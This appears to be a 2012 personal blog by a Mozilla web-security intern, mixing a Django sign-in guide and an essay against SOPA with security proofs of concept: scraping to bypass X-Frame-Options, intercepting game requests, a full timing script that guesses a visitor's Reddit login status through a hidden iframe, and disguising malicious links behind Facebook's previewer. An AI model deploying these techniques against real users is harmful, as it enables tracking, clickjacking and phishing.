Monday, July 23, 2012

Domain-Specific Sign-In with BrowserID

BrowserID (Persona) is Mozilla's login authentication system that treats emails as identities and usernames. By default, BrowserID works by simply providing verification that a user actually owns the email which they are using to log in. There are no additional checks made before the user is enrolled as a "user" on the site. This functionality is great for websites that want to simplify logins and allow anyone to sign up. But suppose your website needs to limit signups to valid users of your organization (i.e. everyone with a yourcompany.com email)?

Recently, while working on a project with Mozilla, I came across the need to restrict signups for a site I was working on. Although there has been some attempt to do this in the past (some Mozilla projects use BrowserID and still require additional verification), I could not find much documentation on restricting signups at the moment of login using email addresses. So I made my own and here it is!

Prerequisites

To start this guide is written for Django projects, specifically those using Mozilla's Playdoh framework. If you aren't using Playdoh, I suggest trying it out - it really simplifies Django development and helps get projects started in seconds. Also, Playdoh comes pre-setup with BrowserID. If you decide not to use Playdoh, you can still follow this tutorial, you'll just need to setup BrowserID on your own first. There are a number of guides for doing that (such as this one: http://django-browserid.readthedocs.org/en/latest/).

Step 1 - Modify Project Settings

There are two settings files you need to edit (assuming Playdoh is being used; if not, look for settings.py in your project): settings/base.py and settings/local.py.

In settings/base.py:

Add the following lines in the "BrowserID" section (or at the bottom of the page):

BROWSERID_CREATE_USER = 'project.app.util.create_user'
ACCEPTED_USER_DOMAINS = [
    
]

Replace "project" with the name of your project and "app" with the name of your app.

Save the file.

In settings/local.py:

Add the following line:

ACCEPTED_USER_DOMAINS = [
    #example.com,
]

Replace the commented line with a list of domains, comma-separated from which you would like to allow users. For example, the project I'm working on has the following setup:

ACCEPTED_USER_DOMAINS = [
    'mozilla.com',
    'mozilla.org',
]

Save the file.

Step 2 - Create a util File

In your application's home directory (not the project directory), create a file called "util.py." Add these lines to that file:

from django.contrib.auth.models import User
from django.conf import settings
from project import app

def create_user(email):
    domain = email.rsplit('@', 1)[1]
    if domain in settings.ACCEPTED_USER_DOMAINS:
            return User.objects.create_user(email, email)

Replace "project" and "app" with your project's and app's names.

Finish

Now, when your users click the "Sign In with BrowserID" button, they must use an accepted domain before their account will be created. If not, they will be redirected to the homepage without being logged in.

Video

If you prefer video instruction you can follow along with, here you go:

Friday, July 13, 2012

Defeating X-Frame-Options with Scraping

Introduction

Iframes are an element of web design that are loved and hated. Web developers (used to) love them because they easily allowed resources from various sites to be loaded on-demand within a webpage. Security professionals hate them because they allow content of one site (such as a login page) to be loaded within another site that may not be trusted. This introduces a security concern known as click-jacking where a malicious site overlays invisible elements over what the user believes is a safe login form.

The Solution

Since these concerns arose, the X-Frame-Options header was developed to prevent the loading of one site within an iframe of another. This header is supported by all major browsers and includes two options:
  • SAMEORIGIN - the site can only be loaded within pages of the same domain
  • DENY - the page cannot be loaded in a frame at all

Page Scraping

The goal of X-Frame-Options, as described above, was to prevent the loading of one site within another, potentially malicious site. However, there are multiple ways a site's contents can be displayed, and an iframe is only one. Page scraping can be done via a server-side PHP, Python, or other language script. The code below is an example of how a page's code can be loaded using PHP:

<?php

$userAgent = 'Googlebot/2.1 (http://www.googlebot.com/bot.html)';
$url = "https://www.yahoo.com/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$html = curl_exec($ch);

echo $html;

?>

This small bit of code, when loaded on any website, at any URL, will cause the contents of Yahoo's home page to be displayed. A malicious user could overlay hidden elements over the $html echoed out and easily execute the same attack X-Frame-Options prevents.

Protections

Luckily, some large websites like Google and Facebook are aware of issues like these and use a complex combination of user-agent and IP address checks to prevent server-based scripts from loading their content. Replace yahoo.com with facebook.com/your_username in the code above and you'll notice that nothing loads.

You Don't Even Need a Server!

This problem is not typically able to be replicated on a simple HTML page without server-side code because JavaScript has cross-domain policies that prevent it from retrieving content from a different domain (in other words, you can't scrape the HTML using just JavaScript). However, through some clever trickery, http://call.jsonlib.com/ has enabled JavaScript scraping. What is actually happening is the JavaScript makes a call to a server hosted on the public Internet which serves as a middle-man. So the same process is happening (server-side scraping), it is just being called locally using JavaScript.

For this to work, save the file: http://call.jsonlib.com/jsonlib.js locally. Then, create a simple HTML page with the following code:

<script type="text/javascript" src="jsonlib.js"></script>
<script type="text/javascript">
    function fetchPage(url) {
        jsonlib.fetch(url, function(m) { document.getElementById('test').innerHTML=m.content; });
    }
</script>

<body onload="fetchPage('https://donate.mozilla.org/page/contribute/join-mozilla?source=join_link')">
<div id="test">
</div>

Most likely many large websites block sites that enable this middle-man functionality. However, it is easy for anyone with access to a server to recreate the process. X-Frame-Options are very useful, but there is no need to use iframes any longer when copying the entire site's code locally works just as well. To protect yourself against these kinds of attacks, always make sure that you do not enter sensitive data on domains you do not trust. Always check the URL bar before typing!

Monday, June 25, 2012

My First Month at Mozilla

I've been working as an intern for almost a month now (3 1/2 weeks is close enough) and finally decided to get around to writing a blog post about my experiences so far. To start, Mozilla is an amazing place to work; the "we're about the open web" is not just a tag-line, it's a core principle of the entire organization.

My first week was pretty hectic. There's a phrase at Mozilla called the "Mozilla Firehose" that refers to the massive amounts of information you will take in during your first week(s) at the company. It's entirely true, although not unmanageable because there are great people to help at each step. Once I got beyond the account-setup, email-checking, bug-filing, question-asking first few days, I was able to get a good head start on what I'll be working on for the next six months.

My position at Mozilla is on the Security Assurance team as a web application security intern. Essentially, my team and I are responsible for maintaining the security of all of Mozilla's web properties as well as the investigation of security bugs and performing of security reviews for new products. It has been a very interesting position because I am exposed to new security issues each day and rarely do the same thing twice (which is great because I get bored easily). So far I have investigated XSS bugs reported by the community in a number of Mozilla's web pages, analyzed more advanced attacks such as remote code execution, observed Mozilla's web bounty program in action (they pay member's of the community for responsible disclosure of bugs), and performed a security review of an internal project known as Datazilla. I hope to continue investigating security issues as well as take on a number of additional projects.

The environment at Mozilla has been awesome. There is food around every corner (literally) and the workplace is casual and very centered around team-working. Although a number of the employees on my team work remotely, it is not difficult to use IRC or email to communicate. I have also had the opportunity to travel to Mozilla's San Francisco office which has one of the best views of any office I've ever been in. It overlooks the bay directly next to the Bay Bridge.

Although I'm only a few weeks into my internship at Mozilla, I've already been exposed to a number of great learning opportunities. I've also seen how Mozilla operates as an organization and the true commitment of the organization's members to an open web, not bound by proprietary technologies. I am looking forward to a great Summer and Fall before returning to RIT in the Winter.

Tuesday, January 31, 2012

Intercepting Requests in Web Games

[Disclaimer: I am writing this post as an educational look into intercepting and editing GET and POST requests. How you use it is up to you. However, it is not a "security" issue and more of a poor design.]

Most people have probably played some form of online game, especially a "social" game within Facebook. I first got to thinking about these games when a member of the security group I'm in (SPARSA) gave a presentation on editing Android APKs. One demo he gave involved editing the list of approved words in Words with Friends, a Scrabble-like game on Facebook. That demo was done by decompiling the Android APK, editing the source files, and recompiling it. However, since the game had an online counter-part, I wanted to see how Facebook games were sending and receiving their data.

As I mentioned, this application involves playing what is essentially Scrabble with your Facebook friends. To play, a player must use an actual word. On the mobile version, the word is checked against a list of approved words stored within the APK. On the desktop version, the word is sent off to the Zynga's servers to be validated and a response, either valid or invalid, is returned.

As it turns out, intercepting this "word check" is surprisingly simple. In the presentation below, I walk through the steps of intercepting and modifying the GET requests to allow any word to be validated properly, essentially permitting the playing of any word.

Video:


Presentation:

Tuesday, January 17, 2012

What's At Stake

In just three hours, the sixth most-visited website on the Internet will transform from a vibrant, virtually unending stockpile of knowledge into a single, blacked-out page. I am 19 years old; since the day my eyelids first fluttered open, technology, computers, and the Internet have been a fact of life, growing at a speed that is incomprehensible to the very people that created it. Over 30 hours of video are uploaded to YouTube every single minute; historic events are now measured in Tweets per Second; Facebook processes more pictures in a single day than there are people on this planet; and the amount of information created, shared, and stored in this year alone is greater than the amount of information created since the dawn of time. I've watched as cities of information have blossomed overnight, built on the social structures of human interaction and desire for attention. I have seen technology connect people, improve lives, save lives, create and destroy relationships, even start and win a revolution. And yet I never imagined that my government, the same government that denounces censorship around the world and that fights for undeniable human rights, would bow to the pressure of the collective corporate world and attempt to pass a law that destroys the very vibrancy and freedom on which the world's network is built.

But here we are. We're at a period in technology history where we are effectively handing control of a network so complex it requires an army of experts to maintain, to elected officials who could be our parents. We are watching as they fumble about, unable to understand the technological marvel and complexity that allows this network to run. Most of these people could not define the word "domain," much less understand how such a trivial-sounding word comprises the structural integrity of the Internet. They are failing us because corporate studios in Hollywood are spending millions of dollars to convince them that a piece of legislature will solve the problem of piracy. Instead of focusing on the underlying causes, these corporations have managed to persuade many Senators and Congressmen to vote on a bill that will cause unimaginable damage to the integrity of the Internet as we know it.

A few years ago, I learned about the immense censorship that occurs in China. I saw two images, side by side representing Google Image results for the term "Tiananmen Square." On the left were the results as seen by Americans: bloody, gory images of a massacre. On the right were the results as seen by the Chinese: a few buildings, a monument, and a sunny sky. The fact that a government could actively suppress information from its citizens, especially information involving historic events, astounded me. I've continued to hear about the Great Firewall of China, a country-wide filter applied to the Internet access of citizens to prevent access to controversial information. And every time I read about this I was thankful that I live in the United States, a place where freedoms of speech and press are building blocks of this country. But today I am not so sure. It's hard to imagine living in a place like China; yet I fear if we wait long enough, without acting, we may someday learn.

SOPA would not censor political sites or hide information from the American public; it's a bill aimed at stopping piracy. Piracy is certainly a major problem that needs to be addressed. However, SOPA would put into place a simple and effective mechanism of shutting down websites without appropriate processes. For demonstrable evidence of this, just look at Wikileaks. With a simple phone call, our government turned pay processors and businesses against it without anything resembling a trial. If SOPA or PIPA passes, those in positions of authority will learn just how easy it is to destroy a website and eventually do just that. I am fearful that SOPA will evolve; it will turn from shutting down a few foreign websites for piracy into a massive effort to purge the Internet of compromising information or material "dangerous to national security." It wouldn't be difficult to convince a judge that a site should be banned and with a flip of a switch without due process, it would be.

Previous generations did not grow up with technology; they did not rely on it or start revolutions with it. But the innovations and amazing changes it has made are ours and our children's. I am not content with handing control of this massive, powerful part of our lives to individuals whose vote can be purchased. We as a nation of students and teachers, employees and employers, and businesses and users need to take back control of what we have created. We need to prove to our elected officials that they are voting with our interests in mind, not those of corporate media.

I am going to watch Wikipedia at midnight. I hope that those we have elected are watching also and that the strike made by a few websites is enough to voice our concerns loud enough for them to hear. I just hope they listen.

Monday, January 16, 2012

Guessing User Logged-In Status With Redirects and Load Times

I've been working on a project that uses non-traditional methods to detect a user's signed-in status to websites. When you visit a page like "http://reddit.com/submit," that page first checks to verify whether you are logged in or not. If you are already logged in, the standard "Submit" page is displayed. If you are not, the browser is redirected to the login page. My idea rests on the fact that this redirect takes time; not a significant amount of time, but at least a millisecond or two. If we could somehow record the loading times of these pages, we could, with a fair amount of accuracy, determine whether or not a user is logged in to a particular website.

To do this, I have setup an IFRAME within a website (I'll have to check and see if this works by loading a page as if it were a script, but that's later on the agenda). I then use JavaScript to reload the page and then load the page that the page would have directed to. Let's look at an example.

When you go to http://reddit.com/submit and you are logged in, the /submit page is shown. When you are not logged in, you are redirected to https://ssl.reddit.com/login?dest=%2Fsubmit, the standard Reddit login page. My script first loads the submit page. If the user is logged in, the page loads, saving its load time to a variable. Then, the timer is reset and the standard login page is loaded. The end result boils down to these facts:

If you ARE logged in, the submit page will load quicker than the login page because no redirect is needed when the submit page is loaded.

If you ARE NOT logged in, the login page will load quicker because the submit page requires a redirect and the login page does not.

There are a few problems that prevent this script from being a 100%. First, despite an initial page load that doesn't count towards the load timer, caching of the browser is not fully predictable. One page may be cached more than another. Second, although the two page loads are performed within 1.2 seconds of each other, network and remote server conditions could change within that time, causing one page to load faster. This is more of a proof-of-concept than a reliable script, but it does show that a remote page could attempt to guess all of the services you use by loading remote pages in hidden IFRAMEs.

See if it works for you: http://blasze.com/loggedin/

Source:
<html>
    <head>

        <script type="text/javascript">

            var startTime=new Date();
            var a;
            var b;
            var done = 0;

            function currentTime(){
                if(done == 0)
                {
                    done = 1;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="http://www.reddit.com/submit";
                }
                else if(done == 1)
                {
                    a=Math.floor((new Date()-startTime)/100)/10;
                    if (a%1==0) a+=".0";
                    done = 2;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="https://ssl.reddit.com/login?dest=%2Fsubmit";
                }
                else
                {
                    b=Math.floor((new Date()-startTime)/100)/10;
                    if (b%1==0) b+=".0";
                    if(a > (b + .1))
                    {
                        document.write('You are not logged into Reddit.');
                    }
                    else
                    {
                        document.write('You are logged into Reddit.');
                    }
      
                }
            }

        </script>

    </head>
    <body>
        <iframe id="framer" src="http://www.reddit.com/submit" onLoad="currentTime()" style="display:none;"></iframe>


    </body>
</html>

Sunday, January 15, 2012

Spreading Malicious Links by Redirecting Facebook's Previewer

When you post a link on Facebook, Facebook has a link fetcher / preview function that visits the website, grabs information about it, along with a thumbnail if available. If you post a bit.ly link, Facebook's fetcher  is still able to follow through the redirect and grab the end-result information.

Let's start with an example. We have this lovely image of a dog and cat on Imgur (found on /r/aww): http://i.imgur.com/vwMRV.jpg. Out bit.ly link is: http://bit.ly/zrhnPz.

Facebook displays the link like so:


Note that once the link converts to a preview, the original text can be replaced.


Notice that the end link (imgur) is displayed and not the original link of bit.ly. But suppose we skip bit.ly and make our own redirect service. To demo this, I've created a site with a spare domain I have. It is located at: http://blasze.com/iplog/. This site is just a redirection service that logs visitor IPs. But if I was to have more malicious intentions, I could have a browser exploit on the page in between Facebook and the redirect. Then, Facebook's preview utility would successfully fetch the end link, but the user clicking it could be exploited. Let's take a look.

My site generates a URL to post.


Now, like in the previous example, I can edit the link and title and unsuspecting users will think it is a cute dog. However, they're actually being redirected through my malicious site (note: it's not actually malicious. It simply logs IP addresses to prove a point, but an attacker could compromise the browser).

I post and wait...


As you can see in this image, I have a click! The redirection was entirely seamless to the user, just like using bit.ly. But without them ever knowing, I have logged their IP, host name, and user agent string. This isn't terrible, but I could have used a browser exploit to compromise their system instead of just redirecting.

But then wouldn't I be attacking Facebook's previewer too, since it visited the site? Well technically yes, unless I wrote a quick PHP script that simply redirects Facebook's IPs but attacks others.

This is just a demo of something I realized. Please don't use it maliciously, but also be aware that any link you click on Facebook could actually go somewhere else that is not what the preview indicates. To help mitigate this problem, Facebook could include an additional warning on links that redirect.